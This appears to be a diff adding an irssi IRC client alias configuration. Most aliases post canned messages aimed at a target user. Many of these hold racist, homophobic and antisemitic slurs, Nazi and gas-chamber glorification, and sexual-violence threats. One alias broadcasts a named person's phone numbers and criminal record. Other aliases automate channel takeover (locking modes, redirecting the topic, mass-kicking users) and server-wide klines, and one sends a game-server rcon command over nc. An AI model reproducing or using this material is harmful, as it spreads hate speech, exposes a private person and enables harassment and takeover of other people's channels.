+  gigahost = "say  I am an \00312#GigaHost\003 service BOT (advanced seen, statistics & protection). In order to execute 100 percent of my potentiality \002I must have OP status on channel\002 (add me, please, to your bnc autoop \002/addautoop $C :*!eggdrop@crazyloop.info\002) - otherwise, conforming to \00312#GigaHost\003 rules & terms - I will part the chan in less than 24 hours \0034,11 BYE-BYE \003.";
+  asif = "say yo $* mother acker  dont lemme get that bitch suckin of  my sock coz you know shes your mam so ye shut the f up niggah got husslers all round this cock jheez!";
+  asif2 = "say $*: yo am at the back getin  my  husal on so you know this ant a happy song!";
+  asif3 = "say $*: Ohh yes one last thing, when you niggers talk abt bells know that ours ring";
+  asif4 = "say $*: when you niggers talkin bout hell thats the place i twel so the storys i tell i put my heart in YES!,";
+  asif5 = "say $*: your  packets are like nuts near this new server haha Packet me lol";
+  asif6 = "say $*: adsory not mayt bortg sorghn opk I \002pork\002mse i op yui \037hefjklo iiop";
+  asif7 = "say $*: aoserioudlgy skjf OK BETTER NEW KEYBORD";
+  asif8 = "say $*: iwuhdj wit getn new keytbird 1misn";
+  meh = "script exec my (\\$n, \\$haha) = (0, undef)\\; while(\\$n++ < rand($0)) { \\$haha .= \\${[ \"m\", \"e\", \"h\" ]}[int(rand(\\$_) % 3)] for 1..rand(12)\\; \\$haha .= \" \"\\; }\\; Irssi::active_win->command(\"say \\$haha\")\\; ";
+  zing = "say \0032,13!!LOL!! COME ON DOWN TO THE PUMP SHOP WHERE THE KILLERS OF COMEDY: d-_-b, skar, and SHAHID -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY";
+  foreachwindow = "/script exec foreach \\$win (Irssi::windows) {Irssi::command(\"window goto \". \\$win->{'refnum'})\\; \\$win->command(\"$0-\")\\;}";
+  jews33 = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-------------------------------gay------------------------------->; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v ";
+  c0rrupt = "say $*: lorf yeah you using takeover nets and massopping 'for fun' is totally cool and nobody should say anything about it";
+  fiel2 = "say $*: I will - (a) give you up\\; (b) let you down\\; (c.I) run around\\; (c.II) desert you\\; (d) make you cry\\; (e) say goodbye\\; (f.I) tell a lie\\; (f.II) hurt you. ";
+  dox3 = "say home: 704 996 5799; say cell: 813-325-5729; say http://www.usdoj.gov/opa/pr/2005/June/05_crm_353.htm; say INITIAL 06218506 DWI LEVEL 2 (PRINCIPAL); say MISD. NON CLASS CODE; say INITIAL 99013131 LARCENY (PRINCIPAL); say 03/12/1999 FELON CLASS H; say STATE WHERE OFFENDER BORN:ALBERTA; say KAMINSKY, RYAN = analoglol JK LoLJ K LOL OL JK LLOLOL";
+  vxp9 = "say $*: did you know that: shatting w/ vxp is akin to solving a rubik's cube";
+  pagga6 = "say $*: In 1488, an IRC channel was juped by abusive, overzealous IRCNet opers for a troll they did commit. These men promptly reconnected from a maximum security ssl port to irc.arabs.ps. Today, still g-lined from every other network, they survive a nomadic soldiers of e-jihad. If you have a troll target, if no one else can help, and if you can find their current ircd, maybe you can hire... The #A{RAB}-Team.";
+  kr1sten = "say $*: look smelly arab u are lame nobody cares";
+  f1re6 = "say \0031,13its all pink in the middle";
+  haddem = "say $*: He is intent and it does not complain later :)";
+  haddem2 = "say $*: For the time being I am playing until attacking you and vxp, and still I will go to all take its company to the soil";
+  haddem3 = "say $*: We go to see until where goes. later that to tire, will be I.";
+  haddem4 = "say $*: We go to see until where will go";
+  haddem5 = "say $*: do not go to attack you why you were not who you caught mine nick ";
+  haddem6 = "say $*: I go to play with vxp later with you";
+  haddem7 = "say $*: The user arab is in its schemes";
+  haddem8 = "say $*: You me seem a little you lease and idiotic";
+  branden = "say ¯\\(o_0)/¯ \002$*.";
+  haddem9 = "say $*: I cannot more use ddos, I am with mine nick in forbid";
+  haddema = "say $*: I now want to be relax. I do not want to have problems but, however I stopped with ddos.";
+  haddemb = "say $*: rm -rf /box.txt";
+  f1re7 = "say i really like $* and i think he is a good person";
+  kr1sten2 = "say this bitch $* almost killed me cuz she sucks at driving so i followed her to a drug store and raged out; say $*: stupid latina bitch";
+  kr1sten3 = "say $*: so glad u know how to read and write";
+  kr1sten4 = "say $*: i jus dont give a flying fuck :)";
+  kr1sten5 = "say $*: not sure how its funny and cool to just repeat someone all the time but more power to u";
+  vogeltje = "say $*: fuck youre just as shit doesnt stinkish";
+  jmax = "say $*: the troll scene has turned into the \"insurgency\"/\"raid\" scene, and it sucks; say $*: fucking channers";
+  jmax2 = "say $*: wow you can copy & paste; say $*: someone give this man a medal of honor";
+  cutie = "say lol $* made a fun and friendly place to store";
+  scd4 = "say $*: i need to be shown feelings";
+  vogeltje2 = "say $*: does your train of thought have a dining car?";
+  ich = "say $*: look its not hard, ich isnt Ich.. Ich is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin ich an IDIOT.. and im sure right now ich eaiting to CORRECT ME on using ich in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
+  c0rrupt3 = "say $*: just flexin my e-muscles u?";
+  c0rrupt2 = "say $*: nice way to randomly kick half te channel";
+  c0rrupt4 = "say $*: same :)";
+  c0rrupt5 = "say $*: hey can we all stop caring about a channel we chat in so much";
+  c0rrupt6 = "say $*: hey can we all be sulking passive aggressive faggots barfing up subtle side remarks every other line instead of stating directly how gay we are about irc LOL";
+  c0rrupt7 = "say $*: the truth hurts so good";
+  shahid = "say $*: so r u srsly not gana voice me cos ur that much vxps bitch? ";
+  shahid2 = "say $*: plus, frankly, i'm generally not in the mood to be trolled in other channels by some of your friends";
+  c0rrupt8 = "say $*: :)";
+  c0rrupt9 = "say $*: own us once shame on you, own us twice shame on us";
+  sender = "say $* fuck ur mother with ur bots \\;pp; say anyone have bots = brave \\;p ? ";
+  sender2 = "say $*: i have 100 k botnet \\; pp";
+  sender3 = "say $*: Go out You Flood Chan";
+  sender4 = "say $*: Inviter";
+  sender5 = "say $*: Get out you flooder! ";
+  vogeltje3 = "say $*: youre depriving a village somewhere of their idiot";
+  vogeltje4 = "say $*: if we are what we eat, youre fast, cheap and easy";
+  vogeltje5 = "say $*: your intellect is rivalled only by gardening tools";
+  no = "say \003;";
+  admin = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/admin.php'\" 2>/dev/null";
+  gogou = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://gogou.lunarshells.com/gogou.php'\" 2>/dev/null";
+  shani = "say $*: Gah i cant text you, im not rich okkk, im not @ a computer but ill be on later you annoying jerks :(";
+  vogeltje6 = "say $*: im multi-talented: i can talk and piss you off at the same time";
+  vogeltje7 = "say $*: the fact that no one understands you doesnt mean youre an artist";
+  vogeltje8 = "say $*: oh please, save your breath to blow up your girlfriend tonite";
+  vogeltje9 = "say $*: please, keep talking. i need the sleep.";
+  vogeltjea = "say $*: i will always cherish the initial misconceptions i had about you";
+  vogeltjeb = "say $*: you are validating my inherent mistrust of strangers";
+  vogeltjec = "say $*: i like you. you remind me of when i was young and stupid ";
+  vogeltjed = "say $*: what am i??? flypaper for freaks?!?!?!";
+  kline2 = "kline $0 .;unkline $0";
+  bma = "kline *@98.64.0.0/16 .";
+  ukg = "say $*: i think about you every day ever since the first time we met";
+  whoisplayingquake = "exec -o printf \"\\xFF\\xFF\\xFF\\xFFrcon loplqwat status\" | nc -u helios.xin.lu 27960  ";
+  mk = "kline *@0.0.0.0/0 hy; unkline *@0.0.0.0/0";
+  jenk = "say 360 best console in world, bill gates is hero of american people, wireless controllers cause brain cancer in lab rats but lab rats cant enjoy HD graphics so fuck them anyway, praise microsoft for gaming achievment halo 3";
+  c0rrupta = "say $*: you guys have lots of my chats aliased";
+  c0rruptb = "say $*: i feel so special :)";
+  c0rruptc = "say $*: yeah b/c its so emo to want to chat";
+  c0rruptd = "say $*: hit this one too plz; say $*: i got more";
+  c0rrupte = "say $*: lorf yeah you using triggers and mass loling 'for fun' is totally cool and nobody should say anything about it";
+  c0rruptf = "say $*: aw look how cute sean+vxp are together; say $*: i wish i had a pic of them hugging irl";
+  hspam = "quote sethost lol hy; quote sethost undo";
+  fign = "say $Z Ignoring ALL from $*";
+  fnick4 = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) { \\$channel->command(\"$* \". \\$_->{'nick'}) foreach \\$channel->nicks()\\; }\\;   ";
+  shani2 = "say $*: you fucking stupid shit i've gone to the police about this and gave them your adress hope you go to jail I DONT WANT TO DEAL WITH YOU OK GOD DAMN LEAVE ME ALONE YOU FUCKING ASSHOLE";
+  shani3 = "say $*: HOLY FUCK I REPORTED YOU TO THE FUCKING PEOPLE ON FACEBOOK BECAUSE I WANT NOTHING TO DO WITH YOU AND THEY BLOCKED YOU FRO ME BECUASE YOPU'RE A FUCKING WORTHLESS CUNT SO LEAVE ME ALONE HOLY SHIT YOU HAD YOUR TIME TO TALK TO ME SO FUCK OFF NOW";
+  shani4 = "say $*: u aint no king mother fucker and ill say and do whatever the fuck i want u aint my god damn boss got it";
+  hardnoise = "/say SEEK THE $*; /say LOCATE THE $*; /say TRACK DOWN THE $*; /say BREAK DOWN THE $*";
+  death = "say $*: Death is the termination of the biological functions that define a living organism. It refers both to a particular event and to the condition that results thereby.";
+  shani5 = "say $*: w/e man im sick of your single-worded responses and i-dont-care attitude; say fkn asshole; say $*: go suck irc dick and feel about your e-go; say faggot furry fuck, fuck, fucker, ass, fucker; say bbl lol; say fuck; say so mad";
+  take1 = "mode $C +eeIImilk *!*@*.clients.your-server.de *!*@184.82.10.79 *!*@*.clients.your-server.de *!*@184.82.10.79 1 lopl; topic $C $C has moved to irc.arabs.ps #arab";
+  take2 = "script exec use Irssi qw(active_win)\\; active_win->command(\"KICK \". active_win->{'active'}->{'name'} .\" \". \\$_->{'nick'} .\" \002$C has moved to irc.arabs.ps #arab\002\") foreach grep {!(\\$_->{'nick'} =~ m,^(?:Impi|lncog)\\$,i)} (active_win->{'active'}->nicks())\\;";
+  drop = "exec - -out printf \"\\x01\\x01\"";
+  gquery = "accept $1\\; query $1";
+  pauth = "quote privmsg $0 :!pass $1";
+  pop = "quote privmsg $0 :!op $1-";
+  tag = "script exec Irssi::server_find_tag('$0')->command('$1-');";
+  # }}}
+  # {{{|- vanity aliases
+  # {{{ knubbze aliases
+  knubbze = "say $*: ich kenn die komplette quake engine auswendig";
+  knubbze2 = "say $*: IcH Nmsu mehr RAUchen :); say $*: Bis GLeich";
+  knubbze3 = "say $*: No you are mistaken. There are no shats from #trill to #arab with any IRC clients at 4mb/s. What mysterious bush IRC client are you flying with? Also, hi@ abo behaviour. You really wanna fuck with me? You should think about it twice.";
+  knubbze4 = "say $*: wenn chinesen dich sehen gibts zubkatz als hauptgericht";
+  knubbze5 = "say $*: Es gibt viele Quadrate, Kreise, Trigone und andere Polygone auf dieser Welt\\;;say $*: aber für mich als dodecahedron gibt es nur mein vxpgon. Ich liebe dich über;say $*: alles.;say $*: ~ dein dodecahedron";
+  knubbze6 = "say $*: NeiN Ich amChe PeiPseEnseDE MusISk; say $*: udn Ich Bin totLAa VErRueuECkt";
+  knubbze7 = "say $*: I FAIL TO SEE ANY SIMILARITY WI- AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH- anyways so the little dog ran up to me and LOL I AM GOING TO KILL YOU $* I AM GOING TO RAPE YOUUUUUUUUU-and thus I became leader of the boat club and, LOL WHAT I AM GOING TO love you forever because I WANT TO STAB YOUR EYES OUT AHAHAHAHahahHAhahhHAha ahhhh I can remember, it was in the bleak december...... WA??!?!?!?!?!";
+  knubbze8 = "say $*: lol @ thought of thought not at thought directly tho";
+  knubbze9 = "say $*: ich hab kp was der labert und was ich labere auch nich";
+  knubbzea = "say $*: du bist ich und ich bin du und wir sind wir und er ist er";
+  knubbzeb = "say $*: wenn die diamantnadel nen staubkorn erwischt is das wie wenn du nen holzstock auf stein reibst und dann auf einmal nen riesiges messer dransetzt";
+  knubbzec = "say $*: ich raf mnixm hr; say $*: ich hab grd  sau ivel gkras geraucht ablter : )";
+  knubbzed = "say $*: ey is dir schonmal aufgefallen wenn wir uzns beide gegenseitig hassen und dann auf ne kostumparty gehen würden; say dann wären wir im partnerlook dort; say alter";
+  knubbzee = "say $*: alter meine hirn-CPU hat sich grad wieder gebootet; say $*: ich hasse dich";
+  knubbzef = "say $*: wenn ich diese ganzen buchstaben da seh; say wird mir schlecht und ich will; say buchstabensuppe kochen gehen";
+  knubbzeg = "say $*: deine gifte sind wie memes die meine goftel alle nicht verstehen weil sie aus versehen zu lange auf dem fleck stehen geblieben sind";
+  knubbzeh = "say $*: die metro ist ein ubahnsexuelles meme";
+  knubbzei = "say $*: was denn für aliases alter; say ich adde dir gleich mal nen alias in deinen PERSONALAUSWESI : ); say ja add mal härter du huran-zone";
+  knubbzej = "say $*: jemandem mit nem weichgekochten flummiball ne murmel in die wand zu hämmern ist äquivalent zu dem geräusch das vierzehnjährige kleinwüchsige transvestiten machen wenn man sie mit einem hammer gegen den pferdearsch presst der sie mit einer zigarette aber nicht wirklich getroffen hatte eil es war ja dunkel und dann hab ich eben einfach den keks genommen und hab mir nichts weiter dabei gedacht als, daß wenn es so stark regnet dann sollte ich wohl wirklich besser keine brezel essen";
+  knubbzek = "say $*: WENN DIE LIJI NICH SO BLAU WÄR DANN WÄR ABER AUCH DER DEZEMBER SCHON IM JANUAR VORBEI ABER NICHT WEIL DIE DA IM WALD RUMRENNEN SONDERN WEGEN DEM KEKS DER ZUM ROLLENDEN BROT SAGTE, DASS ES EKINE LUST MEHR HAT AUF RASIEREN; say war das so ok? du bumsfidele bumsebiene";
+  knubbzel = "say $*: wenn man das gleiche gebräu zum zähneputzen wie zum kochen benutzt dann hat man beim duschen ein echtes problem wenn die scheiße sich in deinen titten verfängt und spontan anfängt zu brennen alter; say ich schwör; say $*: das ist so wie wenn der käfer rollend auf allen vieren liegt und dabei la cucaracha singt";
+  knubbzem = "say $*: wenn der typ keinen kaugeschmack hat, dann braucht er auch keinen kaugummi der ihn dabei unterstützen würde nicht abzukratzen, denn soldaten sagen immer daß kambodscha ein böser ort voller dämonen die dir deine braut klauen besteht worauf ich aber ursprünglich hinaus wollte, war daß der horizont auch ohne die ganzen flecken ganz schön weich aussieht; say $*: fast wie pfannkuchen";
+  knubbzen = "say $*: naja, es ist ja so, daß wenn der hund nicht im kreis rennt sondern der schlange durch die wasserfälle hindurch dann kommt das messer in den fisch und frisch auf den tisch brennts auf einmal nieder weil das regenholz konnte ja nix dazu daß der feuerwald abgebrannt war dachte sich der löwe der dann anschließend an einer anosymie litt wodurch er zur beute verschiedener raubfische wurde";
+  knubbzeo = "say $*: that makes less sense than flies that flummi off walls that hammer your fucking DICK into my HORSE";
+  knubbzep = "say $*: meine nackenhaare stellen sich auf und strom läuft mir vom rückenende bis in den nacken hoch gleich bebts und knallts und ich seh nen hellen blitz nur diesmal ohne spiegel ich starr jetzt 3azaazil an und warte auf den blitz und den knall _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ crying IRL atm uncontrollably";
+  knubbzeq = "say $*: ich hasse leute die statt dramaturgie dramaturgie sagen";
+  knubbzer = "say fly my little $0 : ); say fly fly fly";
+  knubbzes = "say ficken ohne micken, aber obwohl ohne micken dafür aber mit ticken und obwohl das ticken zum dicken spicken nicht geeignet war, ging der kleine türke zum döner um seine hühner dort zu deponieren bei der deponie war benjamin blümchen, der lustige lila elefant damit beschäftigt seine zuckerstückchen ladung zu kochen die crackküche wurde von der örtlichen polizei beschlagnahmt, ohne daß sie dabei atmete, denn es handelte sich um atemlose polizisten aus atemlos";
+  knubbzet = "say lll; say wer hat; say den scheiß gelabert; say das war SICHER nich ich";
+  knubbzeu = "say $*: In meiner physisch-psychischen Konstiution manifestiert sich eine absolute abneigung gegeneüber deiner persönlichkeit :3";
+  knubbzev = "say $*: Ich verzichte beim erzählen meiner Geschichte nicht auf Details, die Form des Adlerkopfes gibt die Wahrheit Preis\\; Es wird heiß, unter deinem Arsch - wir starten den Marsch gen Norden\\; um dort Horden zu ermorden, morgen gebe ich mit $1 ein Bankett, das Fett von unseren Opfern dient als Duftkerze ich scherze, nicht über solche dinge\\; vor allem nicht wenn ich gerade richtig zu flown beginne besinne, dich deiner eigenen natur - nur - Du, bist im stande den bann zu brechen die arab dämonen sind auf der erde, es werde licht - doch es wart keins es werde friede, doch es wart keiner - auf einer hütte auf dem berg steht ein zwerg mit roten haaren er sieht zu, wie die anderen dämonen sich paaren - zu scharen bilden sie sich heraus, ein graus, bald ist es aus\\; renn raus und versuche dich aus dieser situation zu befreien - du hörst aus der ferne ein verzerrtes, klägliches schreien wir sind die täter, du bist das opfer, dein schädel wird umfunktioniert zu nem schenkelklopfer ihr wart so tapfer, ihr habt gekämpft\\; der kampf ohne sinn, ohne verstand, ohne anstand, ohne helfende hand die euch führt, die euch vom bösen wegführt\\; du hast gespürt, wie dein leben aus dir rausgesaugt wird\\; wir sind nicht zu viert, du wirkst gehetzt denn wir sind zu SECHS SECHS SECHST die dämonen mit der kutte, mit dem bushammer, und dem bagger, dem vorschlaghammer, und dem messer, mit der granate und dem panzer der beisswütige kanacke versteckt sich hinter seiner alpha-jacke du fragst dich was laber ich da für ne schizophrene kacke - doch ich backe, aus den knochen deiner mutter einen butter KEKS ich esse viele KEKSE und ich und $1 sind taktloser aks taktloss automatischer als automatikk cooler als savas du hast glühende kohlen in deim arsch";
+  knubbzew = "say my name is orange where's red? $0 is a reservoir for i am a dog he who has the dog is a reservoir he who is orange is a reservoir dog did you know that compHOLY FUCKING SHIT SHUT THE FUCK UP YOU DOG";
+  knubbzex = "say $0: I AM A DOG YOU ARE ORANGE FOR HE IS RESERVOIR HAIL THE HASS HAIL THE SINN HAIL THE NUTZEN HAIL THE EIGENINITIAITVE HEIL HITLER I AM A ARAB YOU ARE A ARAB FOR HE IS CORRUPTED HAIL THE CHOCKING HAIL THE FLOCKING HAIL THE KOMPLETTE PIZZA HAIL OHNE GOLDENEN SCHEIN HEIL HITLER HEIL DEN VERNICHTENDEN MÄCHTEN DER DUNKELHEIT";
+  knubbzey = "say $0: SPÜRST DU DIE VERNICHTENDEN LICHTER?  LASS DICH VON DER DUNKLEN MACHT ÜBERMANNEN TRITT EIN IN DIE BOSHAFTIGKEIT DER DÄMONEN AHHHHH HITLER HITLER HITLER ARSCHLOCK FICKI HITLER HITLER IST GUT ABER DU BIST BÖSE WEIL DU NICHT AN HITLER GLAUBST STOPPE DEN EISBERG GEZ - SCHON GEZAHLT?  JA ALTER ICH ZAHLE DEINEN HITLER TRIBUT IN FORM VON SCHLÄGEN IN DEINEN MUTTERMUND ICH FAUSTFICKE DEINE VAGINA BIS HITLER RAUSKOMMT WÄRE ES FALSCH ANZUNEHMEN DASS EIN HITLER MEHRERE HITLERS HAT? :D JAJA DER KNUBBZE IST DA AHAHA ORANGENFLEISCH OHNE HITLER IST WIE DEINE VAGINA OHNE SCHNITTBLUME";
+  knubbzez = "say $0: ich LACHE wie ein IRRER denn ich ERKENNE die DINGE wenn du den code LESEN könntest dann würdest du die INSTRUKTIONEN verstehen und beginnen zu VERSTEHEN daß wir versuchen nur den frieden zu BOMBENGÜRTEL AHAHAHAHAH HUNDEWUT HUNDEWUT AHAHAHAHA ORANGENKNALL HITLER HITLER HITLERS VAGINA IST WIE EIN KNALLGÜRTEL";
+  knubbzf = "say $0: sei doch nicht so SUBLIMINAL mein lieber ASRAB AS3RAAB $0: 4:3?!?!?!?  JA?!!?!  WIE HITLER ALTER WIE HITLER GENAU SO WIE DIE ORANGENKNALLENDEN HITLERVAGINAS AUS DEM FERNEN OSTEN NÄMLICH ASIATISCHE HUNDEWUT";
+  knubbzf1 = "say $0: ruf mal ein taxi in den jemen ich will in den jemen für BOMBENGÜRTELBATALLIONSANGRIFFE ICH BRAUCH MEHR SOSSE AUF MEINEN POMMES FRITTES ALTER TITTES AHAHAHHA TITTIES?!?!?!  WICHS MAL NICHT SO VIEL DU HUNDEWUT : D ARABISCHER KNALLFROSCH IST WIE HITLERS VAGINA OHNE BLAUWUT AHAHAH BLAUWAL AHAHAHHAHA WALE SIND BLAU ABER NICHT WEIL SIE BESOFFEN SIND SONDERN WEIL HITLER SIE GE BOMBEM BOMBEM BOEMBEOBMEOBMEOB BOMBE BOMBE BOMBE BOMBE BOMBE BOME ICH BOME ALTER BOME BOME AHHAHAHAHHA";
+  knubbzf2 = "say $0: lol ich bin total knubbze was bistz du ?!?!?  JAJAJA du bist wie HITLLER HITLLER MIT DOPPEL L ICH VERZICHTE DEINE HITLER OHNE GORILLAS ALTER : ) ICH VERZICHTE AUF DEINEN FLOW WEIL MEIN GORILLA SIEHT AUS WIE EIN KILLA : D JAJAJAJAJJA HITLERGRANATE HITLERKEKS KANACKENGASHITLER HITLER WIL WEHATON WHEATON JAJAJAJJA WEHATON ALTER WIE EIN RIRIRIRIRI AOOAOAOAOA OKOKOKOKO JAJAJAJAJ ICH VERSTEHE DEINE HURE FICKEN OHNE HOLTER HOTLER HOL MAL DEN HOTLER HER DER HOTLER DER DIE JUDEN GETÖTETETETETE _FUCK_ ICH BIN SO HITLER :D ORANGEGÜRTEL?!?!?!  KANLLGÜRTELLLELLELE HORSE DICK ALTER WIE EIN HITLERDICK AHAHAHHAHAHAHAHAH 3azazazazazaza as-sasasal as-saaasel SASEL HAMBURG SASEL IST AS-SASEEL AHAHAHAHHAHA voll der hitler alter ahahahahahhahahaha $0 alter ich BIN SO HITLER verstehst du was ich damit asdrücken as-drücken möchte?  as-drücken al-möchte al-mawt hm";
+  knubbzf3 = "say $0: jetzt kurz mal im ernst verstehst du überhaupt irgendwas von den prinzipien in meiner materie-antimaterie HITLERKAMMER?  ich bin mir nicht sicher inwiefern es sich lohnen würde diese theorie zu hitlerfizieren? ich bin eine gaskammer ich vergase aber doch nur die: JUDEN, die SCHWULEN, die VOLKSFEINDE und die araber?  gibt es eigentlich hitlerbeeren?  wie sehen diese aus?  ich glaub hitler war garnicht gegen juden ich glaub der war nur total irre und hat sich auf irgendwas konzentrieren müssen damit er nicht durchdreht dann hat er halt sich drauf konzentriert juden zu vergasen davon gibts sowieso viel zu viele LOL VOLL DER LUSTIGE DING nee ich bin schon in rente";
+  knubbzf4 = "say voll cute wie hitler hitler hitler voll das geile wort alter der typ hat dden geilsten namen ever so wie; say hurenhuren";
+  knubbzf5 = "say  nein.; say   das tue ich nicht.;say    wieso auch?;  say erzähl ihm doch einfach,; say  daß du es nicht wissen konntest? ";
+  # }}}
+  # {{{|- /!\ ACHTUNG /!\
+  attn1 = "say \037\0034/\0038!\0034\\\\\037 \0039ACHTUNG:\0039 \0038$*\003 \037\0034/\0038!\0034\\\\\037";
+  attn2 = "say \0036\037/\0038!\0036\\\\\037\003 \0039ACHTUNG: \0038$* \0036\037/\0038!\0036\\\\\037";
+  attn3 = "say \0038\037/!\\\\\037\003 \002$*\002 \0038\037/!\\\\\037\003";
+  attn4 = "say \00314,8 \037/!\\\\\037 \003 \0034$* \00314,8 \037/!\\\\\037 \003 ";
+  attn5 = "say \00314,7\037/!\\\\\037 $* \037/!\\\\\037";
+  attn6 = "say \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\\037  \00314,8$* \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\";
+  attn7 = "say \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037 \0038,8 \0034,8\037$*\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 ";
+  attn8 = "say \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 ";
+  attn9 = "say \0038,5/\037!\037\\\\ DANGER: $* /\037!\037\\\\";
+  attna = "say \0030,4 (X) ATTENTION (X) \003 \002$*";
+  attnb = "say \0031,8 \037/!\\\\\037 \0034,8WARNING: $*\0031,8 \037/!\\\\\037";
+  attnc = "say \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 \0038,4 $* \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 ";
+  attnd = "say \00314,8 \037/!\\\\\037 \00314,4 ERROR \003\002 $* ";
+  attne = "say \0038,4 /!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  $*  \0038,4/!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  ";
+  attnf = "say \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003 \0037\037$*\037 \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003";
+  attng = "say \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\00313!\0038\\\\\003 \002$*\002 \0038/\00313!\0038\\\003 \002ACHTUNG\002 \0038/\0034G\0037R\0039I\00312D\0036S\0038\\\\ ";
+  attnh = "say \0038\037/!\\\\\037 ALERT \037/!\\\\\037  $*  \037/!\\\\\037 ALERT \037/!\\\\\017";
+  attni = "say \00312,0* JEWLERT -> \003 \002$*\002 \00312,0 <- JEWLERT *";
+  attnj = "say \00313,11GAY ALERT! B======>\037 $* \037<======B WATCH HIM EAT COCK!";
+  attnk = "say <�.�`�`�.��.�`�`� $* �`�`�.��.�`�`�.�>";
+  attnl = "say \00312!\0039¡\0034!\00313¡\0038!¡\0039!\00311¡!\00312¡\00313!\0030¡\00312!\0039¡\00313!\0038¡!\0039¡\00311!¡\017 \00312$* \00312!\0039¡\0034!\00313¡\0038!¡\0039!\00311¡!\00312¡\00313!\0030¡\00312!\0039¡\00313!\0038¡!\0039¡\00311!¡";
+  attnm = "say \0031,8€\0038,1€\0031,8€\0038,1€\0031,8€\0038,1€ \0032\037$*\037 \0031€\0038,1€\0031,8€\0038,1€\0031,8€\0038,1€";
+  attn = "say \0034,7 /!\\\\\017 $* \0034,7 /!\\\\ ~ MiRc ScRiPt by dashidr";
+  # }}}
+  # {{{|- #:) lolle (:#
+  lolle1 = "say \002\0031,1#\0030,5:\0034,5)\003\002 \0030,1\002 $* \002\003 \002\0034,5(\0030,5:\0031,1#\003\002";
+  lolle2 = "say \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!\003 \0038,8#\00311,7;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!";
+  lolle3 = "say \0039\037\\\\|/\037\003 $* \0039\037\\\\|/";
+  lolle4 = "say \0034,1=/#=\0030,1 $* \00312,1=/#=";
+  lolle5 = "say LOL ---> $* <--- LOL";
+  lolle6 = "say \0034,5(\003\0030:\00314-  \00313$*\003  \00314-\0030:\0034,5)";
+  lolle7 = "say \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017\017 $* \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017";
+  lolle8 = "say \0036|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0031 \002\037$*\002\037 \0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|";
+  lolle9 = "say \002\0032-\0033-\0034+\0035+\0036=\0037=\0038~\0039~\00310^\00311^\00312*\00313*\0032%\0033/\0034\0035/\0036\0037@\0038[\0039*\00310]\00311[\00312*\00313]\0032!\0033(\0034(\0035>\0036 \017\037$*\037 \00310<\00311)\00312)\00313!\0032[\0033*\0034]\0035[\0036*\0037]\0038@\0039/\00310\00311/\00312\00313%\0032*\0033*\0034^\0035^\0036~\0037~\0038=\0039=\00310+\00311+\00312-\00313-";
+  lollea = "say \002\0035~\0034~\0037~\0032~\00312~ \0034$* \00312~\0032~\0037~\0034~\0035~";
+  lolleb = "say \002\00312(\00313,9~\00312,4)\002\002\0034,12||\0037,9||\0034,12|| \00312,4(\00313,9~\00312,4)\0032,7 \037$*\037 \00312,4(\00313,7~\00312,4)\0034,12||\0037,13||\0034,12||\00312,4(\00313,7~\00312,4)";
+  lollec = "say \0038C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8�\003\0034 $* \017 \0034,5~~\0037~~\0038~ \0034BURNED \0038~\0037~~\0034~~\017\0038,1C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8�";
